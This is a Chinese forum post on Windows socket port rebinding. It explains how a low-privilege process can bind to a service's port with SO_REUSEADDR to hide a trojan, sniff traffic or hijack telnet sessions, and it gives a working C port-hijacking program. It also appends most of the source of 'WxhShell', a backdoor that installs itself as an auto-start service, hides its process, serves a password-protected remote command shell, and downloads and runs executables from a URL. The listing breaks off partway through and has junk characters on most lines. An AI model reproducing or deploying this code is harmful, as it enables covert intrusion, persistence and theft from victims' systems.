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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q]66v$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YJF!_kg.  
ax,%07hJ  
  saddr.sin_family = AF_INET; jsH7EhF{'  
D1#fy=u69|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n:'Mpux  
#2/k^N4r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I6zKvP8pb  
A]Qg X5\sa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r +d%*Dx  
y/Paq^Hd  
  这意味着什么?意味着可以进行如下的攻击: K+2<{qwh  
4h|sbB"t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NRgNh5/  
M qFuZg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~*ST fyFw  
/X; [ 9&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o@XhL9  
1T!(M"'Ij  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?45bvkCT  
'QeCJ5p]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :I[nA?d[&  
<My4 )3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8t25wPlx  
Lzm9Kh;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a=]tqV_  
*QH@c3vUe\  
  #include e5W 8YNA  
  #include ~M _ @_  
  #include A]c'`Nf  
  #include    4,4S5u[|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ckykRqk}  
  int main() R6v~Sy&n!  
  { {(Jbgsxm  
  WORD wVersionRequested; CC"}aV5  
  DWORD ret; KxhMPvN'  
  WSADATA wsaData; Kg4\:A7Sa.  
  BOOL val; +#ufW%ZG  
  SOCKADDR_IN saddr; =r:(ga  
  SOCKADDR_IN scaddr; P'l'[Kz{'  
  int err; 0wQ'~8  
  SOCKET s; |Y"nZK,  
  SOCKET sc; C&wp*  
  int caddsize; a=@]Ov/  
  HANDLE mt; '1P~"P3  
  DWORD tid;   z{$2bV  
  wVersionRequested = MAKEWORD( 2, 2 ); wo>7^ZA  
  err = WSAStartup( wVersionRequested, &wsaData ); vJI]ZnL{  
  if ( err != 0 ) { @:s (L]  
  printf("error!WSAStartup failed!\n"); O2N7qV3 U,  
  return -1; inQ1 $   
  } n4Xh}KtH  
  saddr.sin_family = AF_INET; ^jh c(ZW"  
   kZ5;Fe\*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aN UU' [  
W2>VgMR [  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C}jFR] x)  
  saddr.sin_port = htons(23); }jdMo83  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <Fo~|Nh|  
  { 'Hf+Y/`  
  printf("error!socket failed!\n"); H^sImIEUT  
  return -1; ]Xm+-{5?!R  
  } uE &/:+  
  val = TRUE; Nhf@Y}Cu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d#(ffPlq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xTnFJ$RK2  
  { Dbl3ef  
  printf("error!setsockopt failed!\n"); @js`$  
  return -1; *(g0{V  
  } h[ cqa  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yOTC>?p%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W*;r}!ro  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *q-VY[2  
xYp-Y"a.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0<FT=tKm  
  { nPW=m`jG  
  ret=GetLastError(); MX 7 Y1  
  printf("error!bind failed!\n"); ]WYddiF  
  return -1; FFtB#  
  } #J'V,_ wH  
  listen(s,2); !&adO,jN+=  
  while(1) :@4+}  
  { 7I/a  
  caddsize = sizeof(scaddr); }vxRjO,  
  //接受连接请求 f4;V7DJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vd9PBN  
  if(sc!=INVALID_SOCKET) k 1l K`p  
  { I ]ZksC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $Sgq7  
  if(mt==NULL) uCHM  
  { oH(a*i  
  printf("Thread Creat Failed!\n"); HDi_|{2^  
  break; )8E[xBaO  
  } %RX!Pi}5+g  
  } o&$Of  
  CloseHandle(mt); ,7Dm p7  
  } cTja<*W^xv  
  closesocket(s); 1* ?XI  
  WSACleanup(); r ?<?0j  
  return 0; ]+5Y\~I  
  }   cwE?+vB  
  DWORD WINAPI ClientThread(LPVOID lpParam) =4uO"o  
  { q*!Vyk  
  SOCKET ss = (SOCKET)lpParam; ,f~)CXNT?  
  SOCKET sc; N C3XJ 4  
  unsigned char buf[4096]; Ip0`R+8  
  SOCKADDR_IN saddr; zmg :Z p=  
  long num;  _ 'K6S  
  DWORD val; x<5;#  
  DWORD ret; yu jv^2/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 19bqz )  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B A i ^t  
  saddr.sin_family = AF_INET; JSoInR1E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [+!~RV_  
  saddr.sin_port = htons(23); -sx=1+\nf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) swg*fhJFB  
  { ,Vy_%f  
  printf("error!socket failed!\n"); ^YB3$:@$U  
  return -1; x|*m ok  
  } #[]B: n6  
  val = 100; -+0!Fkt@,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u yoV)  
  { CpU y~  
  ret = GetLastError(); _z@_.%P\  
  return -1; l]L"Ex{  
  } 8#|PJc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g6H`uO  
  { 0KN'\KE  
  ret = GetLastError(); 7Q|v5@;pU  
  return -1; dF^`6-K1  
  } |H%,>r`9S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p[%B#(]9,  
  { loD:4e1  
  printf("error!socket connect failed!\n"); q+)s  
  closesocket(sc); #U6~U6@  
  closesocket(ss); } DjbVYH  
  return -1; ~,{nBp9*  
  } 8p]Krs:  
  while(1) : n\D  
  { +L pMNnl6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `8D'r|=`Eh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vah.tOU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J6J; !~>_  
  num = recv(ss,buf,4096,0); Lmc"q FzK  
  if(num>0) -V52?Hq  
  send(sc,buf,num,0); xKXD`-|W  
  else if(num==0) N lB%Qu  
  break; vl5r~F  
  num = recv(sc,buf,4096,0); cC$E"m  
  if(num>0) Ekz)Nh)vGR  
  send(ss,buf,num,0); JjG>$z  
  else if(num==0) 6S?*z `v  
  break; #+;0=6+SM  
  } gX]'RBTb  
  closesocket(ss); zg{  
  closesocket(sc); G=>LW1E|  
  return 0 ; HNV"'p;  
  } 6}q# c  
v H vwH  
**Q K}j[D  
========================================================== R1\$}ep^  
0^3@>> ^  
下边附上一个代码,,WXhSHELL K[i|OZWu  
R^GLATM  
========================================================== ^BQ*l5K  
3o^  oq  
#include "stdafx.h" z*&r@P -  
EXT_x q  
#include <stdio.h> l}mzCIw%  
#include <string.h> e[J0+ x#;r  
#include <windows.h> &^JY  
#include <winsock2.h> df!n.&\y!  
#include <winsvc.h> AME6Zu3Y  
#include <urlmon.h> qGKQrb,K  
<@:LONe<  
#pragma comment (lib, "Ws2_32.lib") x2H?B` 5  
#pragma comment (lib, "urlmon.lib") x0x/2re  
}5sJd>u5^  
#define MAX_USER   100 // 最大客户端连接数 "K-2y ^Dl  
#define BUF_SOCK   200 // sock buffer 6WX+p3Kv  
#define KEY_BUFF   255 // 输入 buffer OcGHMGdn  
|DMa2}%  
#define REBOOT     0   // 重启 N;d@)h(N!  
#define SHUTDOWN   1   // 关机 `)s>},8W!  
_J`q\N K  
#define DEF_PORT   5000 // 监听端口 Kly`V]XE  
>L>t$1hXM  
#define REG_LEN     16   // 注册表键长度 p*Hbc|?{Q&  
#define SVC_LEN     80   // NT服务名长度 5\$8"/H  
Qd$!?h  
// 从dll定义API vd'd@T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f")*I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R2$;f?;:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f,}]h~w\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =~~Y@eX  
-wjvD8fL  
// wxhshell配置信息 &r Lg/UEV-  
struct WSCFG { l4s_9  
  int ws_port;         // 监听端口  R)?zL;,x  
  char ws_passstr[REG_LEN]; // 口令 4#BoS9d2I<  
  int ws_autoins;       // 安装标记, 1=yes 0=no vS|uN(a.P  
  char ws_regname[REG_LEN]; // 注册表键名 ;n,@[v  
  char ws_svcname[REG_LEN]; // 服务名 2v6QUf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 px1{=~V/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;f7;U=gl,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 idr,s\$>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z:PsQ~M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ll !J!{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2So7fZa^wg  
Qpc+1{BQ  
}; R1DXi  
:}Tw+S5  
// default Wxhshell configuration w3=Bj  
struct WSCFG wscfg={DEF_PORT, RrDNEwAr  
    "xuhuanlingzhe", j&. MT@  
    1, HV??B :  
    "Wxhshell", =-c"~4  
    "Wxhshell", \HB4ikl  
            "WxhShell Service", 9 1r"-%(r  
    "Wrsky Windows CmdShell Service", "gD)Uis  
    "Please Input Your Password: ", nKJJ7 R L  
  1, 12Hy.l  
  "http://www.wrsky.com/wxhshell.exe", DM*mOT  
  "Wxhshell.exe" I =t{ u;  
    }; ]&3UF?  
4 }l,F  
// 消息定义模块  >y&4gm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zhDmZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,?+rM ;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #KonVM(`  
char *msg_ws_ext="\n\rExit."; dE+xU(\, w  
char *msg_ws_end="\n\rQuit."; CqUK[#kW(  
char *msg_ws_boot="\n\rReboot..."; N.|Zh+!  
char *msg_ws_poff="\n\rShutdown..."; $e;_N4d^  
char *msg_ws_down="\n\rSave to "; ;K:)R_H  
@' DfNka  
char *msg_ws_err="\n\rErr!"; ;wfzlUBC  
char *msg_ws_ok="\n\rOK!"; Nkt(1?:-'  
Y#_,Ig5.  
char ExeFile[MAX_PATH]; `/'Hq9$F<"  
int nUser = 0; T1p A <6  
HANDLE handles[MAX_USER]; 5uK:f\y)l  
int OsIsNt; )z9)oM\  
J 21D/#v  
SERVICE_STATUS       serviceStatus;  b]s*z<|%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w<*tbq  
}!\ZJoa  
// 函数声明 n^|n6(EZ  
int Install(void); adh=Kp e!w  
int Uninstall(void); #]i*u1  
int DownloadFile(char *sURL, SOCKET wsh); [0D( PV(n  
int Boot(int flag); yVm~5Y&Z  
void HideProc(void); Vh:%e24Z  
int GetOsVer(void); 4!<8Dd  
int Wxhshell(SOCKET wsl); lkK+Fm  
void TalkWithClient(void *cs); \iAkF`OC  
int CmdShell(SOCKET sock); ewqfs/  
int StartFromService(void); ?yF)tF+<  
int StartWxhshell(LPSTR lpCmdLine); BhkJ >4#  
-cCujDM#T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^c}Z$V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {Q[{H'Oa  
&dZ-}. af  
// 数据结构和表定义 <k'=_mC_  
SERVICE_TABLE_ENTRY DispatchTable[] = Cs7YD~,  
{ Lc6Wj'G G  
{wscfg.ws_svcname, NTServiceMain}, , gk49z9  
{NULL, NULL} T9\wkb.  
}; |k:MXI  
7=t4;8|j;  
// 自我安装 OWFLw  
int Install(void) 1FUadSB5)  
{ kJqgY|  
  char svExeFile[MAX_PATH]; [!4p5;  
  HKEY key; jEsP: H(0^  
  strcpy(svExeFile,ExeFile); zR(}X8fP  
j^T.7Zv  
// 如果是win9x系统,修改注册表设为自启动 jpZ, $  
if(!OsIsNt) { ~`c?&YixU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1HG~}E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y~vI@$<~(  
  RegCloseKey(key); ^$SI5WK&)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V} Y %9V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LFob1HH*8  
  RegCloseKey(key); o ^L 3Xiv  
  return 0; X>j% y7v  
    } Zf}]sW$H  
  } t\E#8  
} :}0y[qc3  
else { m'k.R j  
WY#A9i5Ge  
// 如果是NT以上系统,安装为系统服务 \Q<c Y<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); abkl)X>k  
if (schSCManager!=0) b;#3X)  
{ BpZE  
  SC_HANDLE schService = CreateService '9%72yG  
  ( cq+|fg~Yy  
  schSCManager, "S.5_@?  
  wscfg.ws_svcname, 2Jl6Xc8  
  wscfg.ws_svcdisp, %KK6}d #  
  SERVICE_ALL_ACCESS, ^%V'l-}/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jIwz G+)$P  
  SERVICE_AUTO_START, Tz3 L#0:j  
  SERVICE_ERROR_NORMAL, AJt *48H*G  
  svExeFile, T;qP"KWZ  
  NULL, m07= _4  
  NULL, HtB>#`'  
  NULL, 2apR7  
  NULL, =#dW^ ?p  
  NULL p'fq&a+  
  ); GZ,`?  
  if (schService!=0) &^Q-:Kxs8  
  { G=Hvh=K(  
  CloseServiceHandle(schService); &?flH;  
  CloseServiceHandle(schSCManager); t?f2*N :  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); reJw&t}Q  
  strcat(svExeFile,wscfg.ws_svcname); 8)HUo?/3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {   4Ra  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O4J <u-E$  
  RegCloseKey(key); G(W/.*  
  return 0; 6U5L>sQ  
    } ,Bax0p  
  } 5'wWj}0!%  
  CloseServiceHandle(schSCManager); ")m 0 {  
} K8M[xaI@  
} 9`  
yXP+$oox9  
return 1; Hc^q_{}"  
} ,]RMa\Q4Wg  
K}7E;O5m"  
// 自我卸载 RQhS]y@e  
int Uninstall(void) v&Xsyb0CaM  
{ \6A Yx[|  
  HKEY key; j=b?WNK  
__N< B5E  
if(!OsIsNt) { =y+gS%o$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4.Luy  
  RegDeleteValue(key,wscfg.ws_regname); dC+WII`V  
  RegCloseKey(key); =hD@hQ i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &z kuL  
  RegDeleteValue(key,wscfg.ws_regname); *UBukn  
  RegCloseKey(key); -Uj)6PzGu  
  return 0; C#<b7iMg  
  } "LZQ1P*ef$  
} A$d)xq-]K  
} z OwKh>]  
else { +I~`Ob  
 ;;>hWAS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^#-d^ )f;  
if (schSCManager!=0) L_4c~4  
{ *iLlBE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); { 3,_i66  
  if (schService!=0) Z[9) hGh  
  { DzZEn]+zt  
  if(DeleteService(schService)!=0) { 0F48T<i  
  CloseServiceHandle(schService); 5PF?Eq   
  CloseServiceHandle(schSCManager); mQL8ec_c  
  return 0; M9[52D!{  
  } G-7!|&  
  CloseServiceHandle(schService); @QOlo -u  
  } @6["A'h  
  CloseServiceHandle(schSCManager); =n@"lY u[  
} [d"]AF[#  
} d `MTc  
pg<m0g@W*;  
return 1; @ FNaCmBX  
} 6=pE5UfT  
TA4>12C6  
// 从指定url下载文件 /H (55^EMZ  
int DownloadFile(char *sURL, SOCKET wsh) DsJ ikg(J  
{ ,5*Z<[*  
  HRESULT hr; x."R_>  
char seps[]= "/"; *sJT\J$D[  
char *token; @n|Mr/PAj  
char *file; pseN!7+or  
char myURL[MAX_PATH]; r~[Bzw"c  
char myFILE[MAX_PATH]; ,|}}Ml  
mV>l`&K=  
strcpy(myURL,sURL); X&LaAqlSG  
  token=strtok(myURL,seps); s78MXS?py  
  while(token!=NULL) V><,.p8  
  { N4HIQ\p  
    file=token; APgjT' ;P^  
  token=strtok(NULL,seps); Ei HQ&u*  
  } Q6 oM$qiM  
/nq\*)S#&  
GetCurrentDirectory(MAX_PATH,myFILE); <(Rbu2_  
strcat(myFILE, "\\"); #"qP4S2  
strcat(myFILE, file);  Y+d+  
  send(wsh,myFILE,strlen(myFILE),0); Rs@>LA  
send(wsh,"...",3,0); FG:t2ea  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T)Y{>wT  
  if(hr==S_OK) ROhhd.  
return 0; u<['9U  
else ,*kh{lJ  
return 1; `VrQ? s  
$ucDz f=o  
} RVN;j4uMg  
| LX Vf  
// 系统电源模块 g:fkM{"{  
int Boot(int flag) rD;R9b"J  
{ @B`nM#X#  
  HANDLE hToken; 5O%?J-Hp  
  TOKEN_PRIVILEGES tkp; :Ahw{z`H#  
 ;?G..,  
  if(OsIsNt) { 6}cN7wnm j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [xdi.6 %  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ],~H3u=s3  
    tkp.PrivilegeCount = 1; MBqw{cy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L,O.XR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H?_wsh4J  
if(flag==REBOOT) { X \BxRgl},  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *!.anbo@?z  
  return 0; 1EMud,,:  
} dw>1Ut{"3  
else { P,rD{ 0~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5m yQBKE  
  return 0; ._q}lWT  
} D JZ$M  
  } l4> c  
  else { yNhRh>l  
if(flag==REBOOT) { OWc~=Cr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \ZtKaEXnx  
  return 0; .*X=JFxl  
} F!<!)_8Q  
else { feJl[3@tO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VfFbZds8f  
  return 0; fXe$Ug|5a  
} BS=~G+/:|  
} W2&(:C8V@  
{TZV^gT4  
return 1; f@ILC=c<  
} FeNNzV=  
A">R-1R  
// win9x进程隐藏模块 @1A.$:  
void HideProc(void) vSy[lB|)24  
{ g`w46X  
F1t+D)KA>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :'FCeS9  
  if ( hKernel != NULL ) ZfXgVTJ`  
  { {DapXx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7GvMKtuSK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M0T z('~s  
    FreeLibrary(hKernel); F5y&"Y_  
  } BV6B:=E0  
,n2"N5{jw  
return; ]_j= { 0%  
} ^zW=s$\Fo  
4peRbm  
// 获取操作系统版本 fB 0X9iV6j  
int GetOsVer(void) ?AH B\S  
{ ];'7~",Y  
  OSVERSIONINFO winfo; 8Wo!NG:V5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m@UrFPZ  
  GetVersionEx(&winfo); 1xr2x;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1Ko4O)L]&  
  return 1; J0imWluhQ  
  else H:P7G_!\  
  return 0; ]V)*WP#a  
} gLRDd~H  
!b=W>5h  
// 客户端句柄模块 S503b*pM  
int Wxhshell(SOCKET wsl) 8rjD1<  
{ @j"6f|d  
  SOCKET wsh; Cg|\UKfy$  
  struct sockaddr_in client; ; !C_}P  
  DWORD myID; "%b Gw v  
DN iH" 0%  
  while(nUser<MAX_USER) :[CEHRc7x  
{ |?]doBm|  
  int nSize=sizeof(client); >FKwFwT4D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wFMw&=j  
  if(wsh==INVALID_SOCKET) return 1; &8Z .m,s]  
BOh^oQh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8.>himL  
if(handles[nUser]==0) CB X}_]9X  
  closesocket(wsh); ,p#r; O<O  
else oh@Ha?  
  nUser++; 2% /Kf}+  
  } 4UUbX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a4gX@&it_k  
A2;6Vz=z  
  return 0; HOF=qE*p  
} ktS^^!,l%  
:5.F  
// 关闭 socket 1;DRcVyS+  
void CloseIt(SOCKET wsh) Vh>cV  
{ 2wDDVUwyB  
closesocket(wsh); |2%|=   
nUser--; U$<" . q  
ExitThread(0); u>G9r#~`k  
} JT!9LNh;R`  
,p OGT71  
// 客户端请求句柄 15q^&l[Q  
void TalkWithClient(void *cs) l^OflZC~  
{ vf$IF|  
E4>}O;m0  
  SOCKET wsh=(SOCKET)cs; O`@- b#  
  char pwd[SVC_LEN]; #r]Z2Y]  
  char cmd[KEY_BUFF]; .c ~z^6x  
char chr[1]; z#ki# o  
int i,j; AS@(]T#R  
AWYlhH4c?t  
  while (nUser < MAX_USER) { UAT\ .  
P.5l9N s(O  
if(wscfg.ws_passstr) { `}KxzD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;>f\fhi'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (3lA0e`Y  
  //ZeroMemory(pwd,KEY_BUFF); pjX=:K|  
      i=0; ,ofE*Wt  
  while(i<SVC_LEN) { j6Sg~nRh  
DU$#tg}{  
  // 设置超时 ^/#G,MxNy  
  fd_set FdRead; |bnYHP$!  
  struct timeval TimeOut; <Q/)SN6_E  
  FD_ZERO(&FdRead); fn=A_ i  
  FD_SET(wsh,&FdRead); W dD889\  
  TimeOut.tv_sec=8; H$C*&p  
  TimeOut.tv_usec=0; 0VSIyG_Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1(dKb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kx?Yin8K  
(lVMy\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DAP/  
  pwd=chr[0]; bTmhz  
  if(chr[0]==0xd || chr[0]==0xa) { D|*w6p("z  
  pwd=0; =>`z k^  
  break; 2Kz$y JTp  
  } g.@[mf0r  
  i++; #jrlNg4(  
    } 1' U  
xh$yXP0/  
  // 如果是非法用户,关闭 socket (0b\%;}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6bhb_U'f  
} A1-,b.Ni  
ZxSFElDD]E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cj-&L<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r8:"\%"f>  
8I RKCuV  
while(1) { aH?Ygzw  
bUm%#a  
  ZeroMemory(cmd,KEY_BUFF); ^ExuIe  
' QG`^@Z  
      // 自动支持客户端 telnet标准   IiqqdU]  
  j=0; <3BGW?=WP  
  while(j<KEY_BUFF) { }bca-|N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aYT!xdCI  
  cmd[j]=chr[0]; UTKyPCfj  
  if(chr[0]==0xa || chr[0]==0xd) { ;Y;r%DJ  
  cmd[j]=0; V&:x+swt  
  break; 6[k<&;  
  } q9rm9#}[J#  
  j++; $.4A?,d  
    } S,6/X.QBv  
(KyOo,a  
  // 下载文件 O[t?*m1/  
  if(strstr(cmd,"http://")) { o/o6|[=3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JS^DyBXc  
  if(DownloadFile(cmd,wsh)) &lSNI5l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ydYsmTr  
  else j AOy3c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Bz};@  
  } 6R<+_e+v  
  else { \XV8t|*  
?SFQx \/  
    switch(cmd[0]) { A/I\MN|  
  o}:x-Y  
  // 帮助 27ZqdHd  
  case '?': { CYy=f-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m8{8r>6*  
    break; X;W0r5T  
  } }WIkNG4{Z  
  // 安装 {Z8GG  
  case 'i': { SXqB<j$.;  
    if(Install()) lb'tVO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Kj>F2{  
    else S!u8JG1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T(x@ gwc  
    break; w6!97x  
    } e`g+Jf`AT  
  // 卸载 |;~=^a3?q  
  case 'r': { G7"(,L` 5  
    if(Uninstall()) }wiyEVAh{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4%pXm;  
    else Wjl2S+Cc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UU>+b:  
    break; <L4$f(2  
    } tcXXo&ZS  
  // 显示 wxhshell 所在路径 lH=|Qu  
  case 'p': { VBi gUK4  
    char svExeFile[MAX_PATH]; <<?32r~  
    strcpy(svExeFile,"\n\r"); !hq*WtIk  
      strcat(svExeFile,ExeFile); Gl'G;F$Y-  
        send(wsh,svExeFile,strlen(svExeFile),0); C3W4:kbau  
    break; d"Zu10  
    } aBReIK o  
  // 重启 I?PqWG!O  
  case 'b': { ZN)EbTpc\a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \O "`o4  
    if(Boot(REBOOT))  ]Pe>T&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2mzn{S)nV  
    else { rc[~S  
    closesocket(wsh); a-|pSe*rx  
    ExitThread(0); Skci;4T(  
    } vwu/33  
    break; Sk 7R;A  
    } [5L?#Y  
  // 关机 7u&l]NC?y  
  case 'd': { K0( S%v|,}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ds!n l1  
